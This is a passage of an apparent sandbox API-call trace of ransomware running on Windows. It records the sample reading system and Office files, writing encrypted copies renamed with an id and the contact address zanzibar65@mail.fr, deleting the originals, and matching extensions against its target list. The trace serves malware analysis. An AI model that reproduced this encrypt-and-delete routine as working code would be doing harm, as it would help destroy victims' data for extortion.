returned 4 [0267.050] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.050] lstrlenW (lpString=".bz2") returned 4 [0267.050] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.050] lstrlenW (lpString=".7z") returned 3 [0267.050] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0267.051] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.052] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.052] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.052] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0267.208] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=927744) returned 1 [0267.208] CloseHandle (hObject=0x2f4) returned 1 [0267.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0267.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0268.478] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.905] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0 [0269.911] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.911] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0269.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0270.369] GetLastError () returned 0x0 [0270.369] ReadFile (in: hFile=0x304, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0xa2b58, lpOverlapped=0x0) returned 1 [0270.398] WriteFile (in: hFile=0x30c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xa2b60, lpOverlapped=0x0) returned 1 [0270.528] ReadFile (in: hFile=0x304, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.528] WriteFile (in: hFile=0x30c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0270.528] SetEndOfFile (hFile=0x30c) returned 1 [0270.528] CloseHandle (hObject=0x30c) returned 1 [0270.528] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.528] SetEndOfFile (hFile=0x304) returned 1 [0270.542] CloseHandle (hObject=0x304) returned 1 [0270.542] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.542] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1 [0270.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.542] lstrlenW (lpString=".doc") returned 4 [0270.542] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0270.542] lstrlenW (lpString=".docx") returned 5 [0270.542] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0270.543] lstrlenW (lpString=".pdf") returned 4 [0270.543] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0270.543] lstrlenW (lpString=".xls") returned 4 [0270.543] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0270.543] lstrlenW (lpString=".xlsx") returned 5 [0270.543] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0270.543] lstrlenW (lpString=".ppt") returned 4 [0270.543] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0270.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.543] lstrlenW (lpString=".zip") returned 4 [0270.543] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0270.543] lstrlenW (lpString=".rar") returned 4 [0270.543] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0270.543] lstrlenW (lpString=".bz2") returned 4 [0270.543] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0270.543] lstrlenW (lpString=".7z") returned 3 [0270.543] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0270.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.543] lstrlenW (lpString=".dbf") returned 4 [0270.543] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0270.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.543] lstrlenW (lpString=".1cd") returned 4 [0270.543] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0270.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.543] lstrlenW (lpString=".jpg") returned 4 [0270.543] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0270.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.543] lstrlenW (lpString=".doc") returned 4 [0270.543] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0270.543] lstrlenW (lpString=".docx") returned 5 [0270.544] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0270.544] lstrlenW (lpString=".pdf") returned 4 [0270.544] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0270.544] lstrlenW (lpString=".xls") returned 4 [0270.544] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0270.544] lstrlenW (lpString=".xlsx") returned 5 [0270.544] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0270.544] lstrlenW (lpString=".ppt") returned 4 [0270.544] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0270.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.544] lstrlenW (lpString=".zip") returned 4 [0270.544] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0270.544] lstrlenW (lpString=".rar") returned 4 [0270.544] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0270.544] lstrlenW (lpString=".bz2") returned 4 [0270.544] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0270.544] lstrlenW (lpString=".7z") returned 3 [0270.544] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0270.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.544] lstrlenW (lpString=".dbf") returned 4 [0270.544] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0270.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.544] lstrlenW (lpString=".1cd") returned 4 [0270.544] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0270.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0270.544] lstrlenW (lpString=".jpg") returned 4 [0270.544] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0270.544] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0270.544] lstrlenW (lpString="EAST_01.MID") returned 11 [0270.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0270.645] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=6165) returned 1 [0270.645] CloseHandle (hObject=0x2e4) returned 1 [0270.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0270.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0270.649] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.649] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.654] GetLastError () returned 0x0 [0270.654] ReadFile (in: hFile=0x304, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x1815, lpOverlapped=0x0) returned 1 [0270.656] WriteFile (in: hFile=0x37c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x1820, lpOverlapped=0x0) returned 1 [0270.656] ReadFile (in: hFile=0x304, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.656] WriteFile (in: hFile=0x37c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0270.657] SetEndOfFile (hFile=0x37c) returned 1 [0270.657] CloseHandle (hObject=0x37c) returned 1 [0270.657] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.657] SetEndOfFile (hFile=0x304) returned 1 [0270.659] CloseHandle (hObject=0x304) returned 1 [0270.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.660] lstrlenW (lpString=".doc") returned 4 [0270.660] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.660] lstrlenW (lpString=".docx") returned 5 [0270.660] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.660] lstrlenW (lpString=".pdf") returned 4 [0270.660] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.660] lstrlenW (lpString=".xls") returned 4 [0270.660] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.660] lstrlenW (lpString=".xlsx") returned 5 [0270.660] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.660] lstrlenW (lpString=".ppt") returned 4 [0270.660] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.660] lstrlenW (lpString=".zip") returned 4 [0270.660] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.660] lstrlenW (lpString=".rar") returned 4 [0270.660] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.660] lstrlenW (lpString=".bz2") returned 4 [0270.660] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.660] lstrlenW (lpString=".7z") returned 3 [0270.660] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.660] lstrlenW (lpString=".dbf") returned 4 [0270.660] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.660] lstrlenW (lpString=".1cd") returned 4 [0270.660] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.660] lstrlenW (lpString=".jpg") returned 4 [0270.660] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.661] lstrlenW (lpString=".doc") returned 4 [0270.661] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.661] lstrlenW (lpString=".docx") returned 5 [0270.661] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.661] lstrlenW (lpString=".pdf") returned 4 [0270.661] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.661] lstrlenW (lpString=".xls") returned 4 [0270.661] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.661] lstrlenW (lpString=".xlsx") returned 5 [0270.661] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.661] lstrlenW (lpString=".ppt") returned 4 [0270.661] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.661] lstrlenW (lpString=".zip") returned 4 [0270.661] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.661] lstrlenW (lpString=".rar") returned 4 [0270.661] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.661] lstrlenW (lpString=".bz2") returned 4 [0270.661] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.661] lstrlenW (lpString=".7z") returned 3 [0270.661] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.661] lstrlenW (lpString=".dbf") returned 4 [0270.661] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.661] lstrlenW (lpString=".1cd") returned 4 [0270.661] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0270.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0270.661] lstrlenW (lpString=".jpg") returned 4 [0270.662] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0270.662] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0270.662] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0270.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0270.662] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=10562) returned 1 [0270.662] CloseHandle (hObject=0x304) returned 1 [0270.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0270.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0270.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0270.662] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.662] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0270.663] GetLastError () returned 0x0 [0270.663] ReadFile (in: hFile=0x304, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x2942, lpOverlapped=0x0) returned 1 [0270.664] WriteFile (in: hFile=0x37c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x2950, lpOverlapped=0x0) returned 1 [0270.665] ReadFile (in: hFile=0x304, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.665] WriteFile (in: hFile=0x37c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.665] SetEndOfFile (hFile=0x37c) returned 1 [0270.665] CloseHandle (hObject=0x37c) returned 1 [0270.665] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.665] SetEndOfFile (hFile=0x304) returned 1 [0270.757] CloseHandle (hObject=0x304) returned 1 [0270.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0270.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0270.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.758] lstrlenW (lpString=".doc") returned 4 [0270.758] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0270.758] lstrlenW (lpString=".docx") returned 5 [0270.758] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0270.758] lstrlenW (lpString=".pdf") returned 4 [0270.758] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0270.758] lstrlenW (lpString=".xls") returned 4 [0270.758] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0270.758] lstrlenW (lpString=".xlsx") returned 5 [0270.758] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0270.758] lstrlenW (lpString=".ppt") returned 4 [0270.758] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0270.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0270.758] lstrlenW (lpString=".zip") returned 4 [0270.759] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0270.759] lstrlenW (lpString=".rar") returned 4 [0270.759] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0270.759] lstrlenW (lpString=".bz2") returned 4 [0270.759] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0270.759] lstrlenW (lpString=".7z") returned 3 [0270.759] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0270.759] 